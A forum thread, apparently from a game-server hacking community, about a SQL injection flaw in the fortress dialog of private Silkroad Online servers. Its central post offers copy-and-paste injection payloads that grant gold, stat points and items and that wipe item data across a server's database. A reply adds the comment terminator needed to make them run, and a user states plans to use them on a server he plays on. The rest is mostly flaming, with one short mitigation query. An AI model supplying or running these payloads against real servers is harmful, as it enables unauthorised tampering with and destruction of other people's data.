[INFORMATION] SQL Injection (ingame)

[​Goofie​]

Originally Posted by tschulian

btw Goofie, have you ever heared about logical operators?

I do not store all opcodes in my new source.

Also you are using recoded k-Guard? are you ******* kidding me?

[bissag]

is there a way to fix it with gameserver debug edit?

[​Goofie​]

Originally Posted by bissag

is there a way to fix it with gameserver debug edit?

After packet is sent Client => Server the GameServer runs the SQL query, unless you break the entire query and stop them from updating the information in GameServer I believe not.

Shouldn't be hard to find it in GameServer do, but then again, nobody can update the information which is bad? I'm not sure what it really does for the guilds.

[too.different.boy]

Originally Posted by Tazdingo7

Credits for the pic (? xD

Some funny sql injections you can do without any error at gameserver:

1. Add Gold to your character
a'; UPDATE _Char SET RemainGold = 99999999999 WHERE CharName16 = 'YourName'; UPDATE _SiegeFortress SET Introduction = 'a

2. Add more stats to your character
a'; UPDATE _Char SET RemainStatPoint = 99999 WHERE CharName16 = 'YourName'; UPDATE _SiegeFortress SET Introduction = 'a

3. If you know the item codes, why not create some of them?
a'; exec _ADD_ITEM_EXTERN 'Charname','ITEM_EU_TSWORD_11_SET_A_RARE',0,20; UPDATE _SiegeFortress SET Introduction = 'a

If you want to **** off the database(dont do it if you are not the server admin, ok no):
a'; UPDATE _Items SET RefItemID = 0; UPDATE _SiegeFortress SET Introduction = 'a

Just copy & paste this injections to the fortress dialog.

Have fun.

So it really works? I play on some private server and wanna try it. Tired of making new char and getting good set in a loop after months because of the death of p-server. Wanna be good once.

[rares495]

Originally Posted by ​Goofie​

After packet is sent Client => Server the GameServer runs the SQL query, unless you break the entire query and stop them from updating the information in GameServer I believe not.

Shouldn't be hard to find it in GameServer do, but then again, nobody can update the information which is bad? I'm not sure what it really does for the guilds.

EDIT: I'm an idiot nvm.

[tschulian]

Originally Posted by ​Goofie​

I do not store all opcodes in my new source.


Also you are using recoded k-Guard? are you fucking kidding me?

I havent talked about how opcodes are stored. lol that guy is blended af.


way better features and stability than your crap? ur supershit is recoded aswell and you are blaming me o.O haha funniest guy ever.
I love Internetkinder like you

Originally Posted by too.different.boy

So it really works? I play on some private server and wanna try it. Tired of making new char and getting good set in a loop after months because of the death of p-server. Wanna be good once.

Dont forget to add the -- at the end of each line. otherwise an error will appear.

[gaspaHHH]

Does this work in any other dialogue box in Silkroad ?

[Spartacus-Vic]

very sick injection

[Anonymous-9238]

Behold, another war of who has the bigger ****.

******* stop it already, it's been 10 years.

[Syloxx]

Originally Posted by Simulation1337

Behold, another war of who has the bigger ****.

******* stop it already, it's been 10 years.

Greetings to @ ;D

[EdwardTeach+-]

Originally Posted by gaspaHHH

Does this work in any other dialogue box in Silkroad ?

+1

[​Goofie​]

Originally Posted by tschulian

:D:D way better features and stability than your ****? ur supershit is recoded aswell and you are blaming me o.O haha funniest guy ever.
I love Internetkinder like you :)

Ok, anytime u want give me ip:port for ur filter.
Bigdicks clan approves this ^.

[links2007]

What about ?

PHP Code:

use SRO_VT_SHARD_INIT 

update _SiegeFortress set IntroductionModificationPermission = 0 


[CarolineForbes]

Don't stop the war guys, keep on flaming each other. Was such a fun read yesterday :c
It's not nice to take credit from some1 else Syloxx :/ Dam bad boy ..

[LogLoft420]

what about guild notice and msg box? tried that but doesn't work probably my ending line is wrong hmm
and @ that qoute was good in the season finale xD